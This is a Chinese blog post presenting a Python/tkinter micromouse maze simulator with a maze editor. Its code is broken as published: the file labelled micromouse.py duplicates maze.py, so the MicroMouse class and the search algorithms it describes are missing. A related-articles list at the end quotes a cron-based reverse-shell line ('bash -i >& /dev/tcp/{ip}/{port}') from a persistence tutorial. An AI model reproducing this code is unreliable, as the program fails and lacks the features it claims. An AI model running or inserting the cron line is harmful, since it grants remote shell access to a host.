(一)、python程序--模拟电脑鼠走迷宫

一、绪论

1、简介

电脑鼠走迷宫是一种比赛,制作实物电脑鼠小车在迷宫找目标点,用时最短者获胜。考验参赛选手软硬件结合的能力。

2、走迷宫模拟软件中已实现功能

1、点击迷宫墙壁可编辑迷宫,并且可保存和加载迷宫形状文件;

2、自动搜索迷宫,采用回溯算法搜索整个迷宫;

3、采用洪水算法查找迷宫的最短路径。

整体界面

二、软件截图

打开迷宫形状配置文件

点击迷宫墙壁编辑迷宫形状

搜索迷宫

搜索迷宫

搜索迷宫,并且回溯未到过的地方

搜索结束,找到最短距离的路径

三、代码分享

代码中一共4个.py文件,一个迷宫形状配置文件,如下:

1、main.py

import tkinter as tk
import maze as maze
import micromouse as micromouse

root = tk.Tk()
windows_w = 640*2+100
windows_h = 640
bd = 10
map_size = 32
win = [15, 15]
root.title("MicroMouse")
root.geometry("{}x{}".format(windows_w, windows_h))


cv = tk.Canvas(root, width=windows_h*2, height=windows_h, bg='white')
cv.place(x=0, y=0)


mz = maze.Maze(cv, windows_h, bd, win, map_size)
mz.draw_maze()
mz.draw_win_point()

mouse = micromouse.MicroMouse(cv, mz.cell_len, bd, win, windows_h, map_size)
mouse.draw_mouse(0, 0)
mouse.draw_win_oval()
mouse.draw_search_maze()

save = tk.Button(root, text='保存迷宫', command=mz.save_maze, height=1, width=8)
save.place(x=windows_h*2+20, y=10)

open = tk.Button(root, text='加载迷宫', command=mz.load_maze, height=1, width=8)
open.place(x=windows_h*2+20, y=50)

search = tk.Button(root, text='探索迷宫', command=lambda mz=mz: mouse.search_maze(mz), height=1, width=8)
search.place(x=windows_h*2+20, y=90)

setmouse = tk.Button(root, text='重置电脑鼠', command=mouse.reset_mouse, height=1, width=8)
setmouse.place(x=windows_h*2+20, y=130)

root.mainloop()

2、tree.py



class Tree(object):

    def __init__(self):
        self.last_tree = None
        self.next_tree = None
        self.h = None
        self.w = None

3、maze.py

import numpy as np
from tkinter import filedialog


class Maze(object):

    def __init__(self, cv, windows_h, bd, win, map_size=32):
        self.map_size = map_size
        self.cv = cv
        self.bd = bd
        self.win = win
        self.up = 0
        self.down = 1
        self.left = 2
        self.right = 3
        self.maze_map = np.ones((map_size, map_size, 4), dtype='int8')  # h/y, w/x, wall/up,down,left,right
        self.cell_len = int((windows_h-2*self.bd)/map_size)
        self.line_hand = []
        self.win_point = None

    def draw_win_point(self):
        # clear win point
        if self.win_point is not None:
            self.cv.delete(self.win_point)
        # draw win point
        w, h = self.win
        x, y = (w+0.5)*self.cell_len+self.bd, (h+0.5)*self.cell_len+self.bd
        rate = self.cell_len/3
        x0, y0 = x - rate, y - rate
        x1, y1 = x + rate, y + rate
        self.win_point = self.cv.create_oval(x0, y0, x1, y1, fill='red')

    def draw_maze(self):
        # clear maze
        for tag in self.line_hand:
            self.cv.delete(tag)
        # draw maze
        for h in range(self.map_size):
            for w in range(self.map_size):
                for index in range(4):
                    # up and down for wall
                    if index in [self.up, self.down]:
                        x0, y0 = w*self.cell_len+self.bd, (h+index)*self.cell_len+self.bd
                        x1, y1 = (w+1)*self.cell_len+self.bd, (h+index)*self.cell_len+self.bd
                    # left and right for wall
                    else:
                        x0, y0 = (w+index-2)*self.cell_len+self.bd, h*self.cell_len+self.bd
                        x1, y1 = (w+index-2)*self.cell_len+self.bd, (h+1)*self.cell_len+self.bd
                    # no line draw white line
                    if self.maze_map[h, w, index] == 1:
                        color = 'black'
                    else:
                        color = 'Gainsboro'
                    # draw line
                    self.line_hand.append(self.cv.create_line(x0, y0, x1, y1, width=2, fill=color))
                    self.cv.tag_bind(self.line_hand[-1], '<Button-1>', lambda event, c=[h, w, index]: self.change_cell(c))

    def change_cell(self, c):
        # click to hide or show line
        h, w, index = c
        # edge wall
        if h == 0 and index == self.up:
            return
        if w == 0 and index == self.left:
            return
        # up wall
        if index == self.up:
            # deal clicked line
            if self.maze_map[h, w, self.up] == 1:
                self.maze_map[h, w, self.up] = 0
            else:
                self.maze_map[h, w, self.up] = 1
            # deal adjoin line
            if h-1 >= 0:
                if self.maze_map[h, w, self.up] == 0:
                    self.maze_map[h - 1, w, self.down] = 0
                else:
                    self.maze_map[h - 1, w, self.down] = 1
        # left wall
        if index == self.left:
            # deal clicked line
            if self.maze_map[h, w, self.left] == 1:
                self.maze_map[h, w, self.left] = 0
            else:
                self.maze_map[h, w, self.left] = 1
            # deal adjoin line
            if w-1 >= 0:
                if self.maze_map[h, w, self.left] == 0:
                    self.maze_map[h, w - 1, self.right] = 0
                else:
                    self.maze_map[h, w - 1, self.right] = 1
        self.draw_maze()

    def save_maze(self):
        fileSave = filedialog.asksaveasfilename(defaultextension='.txt', filetypes=[("txt files", ".txt")])
        np.savetxt(fileSave, self.maze_map.reshape((1, self.map_size*self.map_size*4)), fmt='%d')

    def load_maze(self):
        filePath = filedialog.askopenfilename()
        self.maze_map = np.loadtxt(filePath).reshape((self.map_size, self.map_size, 4))
        self.draw_maze()

    def get_maze_map(self):
        return self.maze_map.copy()


4、micromouse.py

import numpy as np
from tkinter import filedialog


class Maze(object):

    def __init__(self, cv, windows_h, bd, win, map_size=32):
        self.map_size = map_size
        self.cv = cv
        self.bd = bd
        self.win = win
        self.up = 0
        self.down = 1
        self.left = 2
        self.right = 3
        self.maze_map = np.ones((map_size, map_size, 4), dtype='int8')  # h/y, w/x, wall/up,down,left,right
        self.cell_len = int((windows_h-2*self.bd)/map_size)
        self.line_hand = []
        self.win_point = None

    def draw_win_point(self):
        # clear win point
        if self.win_point is not None:
            self.cv.delete(self.win_point)
        # draw win point
        w, h = self.win
        x, y = (w+0.5)*self.cell_len+self.bd, (h+0.5)*self.cell_len+self.bd
        rate = self.cell_len/3
        x0, y0 = x - rate, y - rate
        x1, y1 = x + rate, y + rate
        self.win_point = self.cv.create_oval(x0, y0, x1, y1, fill='red')

    def draw_maze(self):
        # clear maze
        for tag in self.line_hand:
            self.cv.delete(tag)
        # draw maze
        for h in range(self.map_size):
            for w in range(self.map_size):
                for index in range(4):
                    # up and down for wall
                    if index in [self.up, self.down]:
                        x0, y0 = w*self.cell_len+self.bd, (h+index)*self.cell_len+self.bd
                        x1, y1 = (w+1)*self.cell_len+self.bd, (h+index)*self.cell_len+self.bd
                    # left and right for wall
                    else:
                        x0, y0 = (w+index-2)*self.cell_len+self.bd, h*self.cell_len+self.bd
                        x1, y1 = (w+index-2)*self.cell_len+self.bd, (h+1)*self.cell_len+self.bd
                    # no line draw white line
                    if self.maze_map[h, w, index] == 1:
                        color = 'black'
                    else:
                        color = 'Gainsboro'
                    # draw line
                    self.line_hand.append(self.cv.create_line(x0, y0, x1, y1, width=2, fill=color))
                    self.cv.tag_bind(self.line_hand[-1], '<Button-1>', lambda event, c=[h, w, index]: self.change_cell(c))

    def change_cell(self, c):
        # click to hide or show line
        h, w, index = c
        # edge wall
        if h == 0 and index == self.up:
            return
        if w == 0 and index == self.left:
            return
        # up wall
        if index == self.up:
            # deal clicked line
            if self.maze_map[h, w, self.up] == 1:
                self.maze_map[h, w, self.up] = 0
            else:
                self.maze_map[h, w, self.up] = 1
            # deal adjoin line
            if h-1 >= 0:
                if self.maze_map[h, w, self.up] == 0:
                    self.maze_map[h - 1, w, self.down] = 0
                else:
                    self.maze_map[h - 1, w, self.down] = 1
        # left wall
        if index == self.left:
            # deal clicked line
            if self.maze_map[h, w, self.left] == 1:
                self.maze_map[h, w, self.left] = 0
            else:
                self.maze_map[h, w, self.left] = 1
            # deal adjoin line
            if w-1 >= 0:
                if self.maze_map[h, w, self.left] == 0:
                    self.maze_map[h, w - 1, self.right] = 0
                else:
                    self.maze_map[h, w - 1, self.right] = 1
        self.draw_maze()

    def save_maze(self):
        fileSave = filedialog.asksaveasfilename(defaultextension='.txt', filetypes=[("txt files", ".txt")])
        np.savetxt(fileSave, self.maze_map.reshape((1, self.map_size*self.map_size*4)), fmt='%d')

    def load_maze(self):
        filePath = filedialog.askopenfilename()
        self.maze_map = np.loadtxt(filePath).reshape((self.map_size, self.map_size, 4))
        self.draw_maze()

    def get_maze_map(self):
        return self.maze_map.copy()


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/789971.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

设计模式探索:适配器模式

1. 适配器模式介绍 1.1 适配器模式介绍 适配器模式&#xff08;adapter pattern&#xff09;的原始定义是&#xff1a;将一个类的接口转换为客户期望的另一个接口&#xff0c;适配器可以让不兼容的两个类一起协同工作。 适配器模式的主要作用是把原本不兼容的接口&#xff0c…

告别推广分成结算烦恼,Xinstall助力精准统计,让收益一目了然!

在快速变化的互联网环境中&#xff0c;App的推广与运营面临着前所未有的挑战。传统的营销手段已经难以应对当前复杂的市场环境&#xff0c;特别是在推广分成结算这一环节&#xff0c;往往成为众多企业的痛点。然而&#xff0c;有了Xinstall的加入&#xff0c;这一切都将变得不同…

centos系统查找mysql的配置文件位置

执行命令查找mysql的安装目录&#xff1a; which mysql cd进入mysql的安装目录 cd /usr/bin 查找配置文件位置 ./mysql --help | grep "my.cnf" 定位配置文件 cd /etc 查找命令还可以用find命令 find / -name "my.cnf"

第六次作业

一、视图作业 1、创建视图v_emp_dept_id_1&#xff0c;查询销售部门的员工姓名和家庭住址 2、创建视图v_emp_dept&#xff0c;查询销售部门员工姓名和家庭住址及部门名称。 3、创建视图v_dept_emp_count(dept_name,emp_count,avg_salay)&#xff0c;统计每个部门人数并计算平均…

78000A 信号分析软件

思仪(Ceyear) 78000A 信号分析软件 78000A 信号分析软件是一款能够在电脑上运行的应用软件&#xff0c;预留了开放式的 SCPI 控制指令&#xff0c;可以远程控制信号/频谱分析仪采集数据&#xff0c;也可以回放仿真数据或者采集的历史数据文件&#xff0c;执行通用频谱测量、矢…

RK3568平台(opencv篇)opencv处理图像视频

一.读取图像文件并展示 灰度图像&#xff1a; 灰度图需要用 8 位二进制来表示&#xff0c;取值范围是 0-255。用 0 表示 0&#xff08;黑色&#xff09;&#xff0c; 用 255 表示 1&#xff08;白色&#xff09;&#xff0c;取值越大表示该点越亮。 RGB 彩色图像&#xff1a;…

愚人杯的RE题

easy_pyc pyc反编译成py文件 # uncompyle6 version 3.9.1 # Python bytecode version base 2.7 (62211) # Decompiled from: Python 3.11.8 (tags/v3.11.8:db85d51, Feb 6 2024, 22:03:32) [MSC v.1937 64 bit (AMD64)] # Embedded file name: enpyc.py # Compiled at: 2023…

realsense D435l+mid360标定

目录 一、安装realsense环境 二、获取realsense D450L相机内参 三、标定雷达和相机 1.下载livox_camera_calib 2.修改配置参数 3.使用fastlio生成点云 4.标定 一、安装realsense环境 git clone https://github.com/IntelRealSense/librealsense.git cd librealsense //更…

ubuntu计划任务反弹

实验环境 攻击者 操作系统&#xff1a;kali IP&#xff1a;192.168.244.141 目标主机 操作系统&#xff1a;ubuntu IP&#xff1a;192.168.244.151 实验步骤 目标主机构造任务计划 构造语句 * * * * * /bin/bash -c bash -i >& /dev/tcp/{ip}/{port} 0>&…

硅谷甄选运营平台-vue3组件通信方式

vue3组件通信方式 vue2组件通信方式&#xff1a; props:可以实现父子组件、子父组件、甚至兄弟组件通信自定义事件:可以实现子父组件通信全局事件总线$bus:可以实现任意组件通信pubsub:发布订阅模式实现任意组件通信vuex:集中式状态管理容器&#xff0c;实现任意组件通信ref:父…

德语中含“Augen”的惯用语表达-柯桥小语种学习德语考级

在我们的德语学习过程中&#xff0c;除了词汇的记忆&#xff0c;另一项重要的记忆任务就是惯用语的背诵啦。要知道&#xff0c;德语中有大量的Redewendung&#xff0c;他们以其言简意赅的表达&#xff0c;在日常用语中备受青睐。上一期我们已经学习了部分含有“Hand”的惯用语&…

深入解析视频美颜SDK:开发直播平台主播专用的美颜工具教学

本篇文章&#xff0c;笔者将深入解析视频美颜SDK的原理与应用&#xff0c;帮助开发者打造适用于直播平台的专业美颜工具。 一、视频美颜SDK的基础原理 视频美颜SDK其核心技术包括人脸检测、面部特征点识别、图像增强和特效应用等。 二、视频美颜SDK的开发流程 环境搭建 首先…

怎么选择渲染农场?渲染100邀请码1a12

市面上的渲染农场那么多&#xff0c;到底选择哪一个呢&#xff1f;这次我给大家提供几个指标&#xff0c;以供参考。 1、机器性能&#xff1a;农场的机器性能会直接影响到渲染速度&#xff0c;速度越快项目就能越早完成&#xff0c;所以机器性能是重要的衡量指标。2、渲染价格…

凌风云 - 十大网盘资源搜索 Ver 6.0 版正式上线

《凌风云》作为网盘资源专业搜索领域的佼佼者&#xff0c;汇聚了国内十大网盘的丰富资源&#xff0c;凌风云搜索弥补其他搜索引擎可能无法搜索到相关资源的缺陷&#xff0c;作为专业的搜索引擎服务网络平台&#xff0c;您只需输入关键词&#xff0c;通过智能算法精准匹配&#…

java:字符缓冲流特有功能

BufferedWriter&#xff1a; void newLine&#xff08;&#xff09;&#xff1a;写一行行分隔符&#xff0c;行分隔符字符串由系统属性定义 BufferedReader&#xff1a; public String readLine&#xff08;&#xff09;&#xff1a;读一行文字&#xff0c;结果包含行的内容的字…

4. 小迪安全v2023笔记 javaEE应用

4. 小迪安全v2023笔记 javaEE应用 ​ 大体上跟随小迪安全的课程&#xff0c;本意是记录自己的学习历程&#xff0c;不能说是完全原创吧&#xff0c;大家可以关注一下小迪安全。 若有冒犯&#xff0c;麻烦私信移除。 默认有java基础。 文章目录 4. 小迪安全v2023笔记 javaEE应…

[leetcode]partition-list 分隔链表

. - 力扣&#xff08;LeetCode&#xff09; class Solution { public:ListNode* partition(ListNode* head, int x) {ListNode *smlDummy new ListNode(0), *bigDummy new ListNode(0);ListNode *sml smlDummy, *big bigDummy;while (head ! nullptr) {if (head->val &l…

Linux系统学习 —— 计算机基础(笔记篇)

一、电脑硬件 电脑硬件由输入&#xff0c;控制计算&#xff0c;输出三部分组成。 输入部分包括键鼠&#xff0c;读卡器&#xff08;外部接口&#xff09;&#xff0c;扫描仪&#xff08;打印机的扫描仪&#xff09;。计算控制部分包括CPU &#xff0c; 内存&#xff0c;硬盘&…

第5章 IT服务部署实施

第5章 IT服务部署实施 5.1 概述 IT服务部署实施是衔接IT服务规划设计与IT服务运营的中间阶段&#xff0c;负责对服务组件进行客户化&#xff0c;并在充分满足客户要求的前提下&#xff0c;使用标准化的方法管理人员、资源、技术和过程&#xff0c;包括计划、实施和管理生产环…

MVC之 Controller 》》 ModelState ValidationMessageFor ValidationSummary

ModelState是Controller的一个属性&#xff0c;可以被继承自System.Web.Mvc.Controller的那些类访问。它表示在一次POST提交中被提交到服务器的 键值对集合&#xff0c;每个记录到ModelState内的值都有一个错误信息集。尽管ModelState的名字中含有“Model”&#xff0c;但它只有…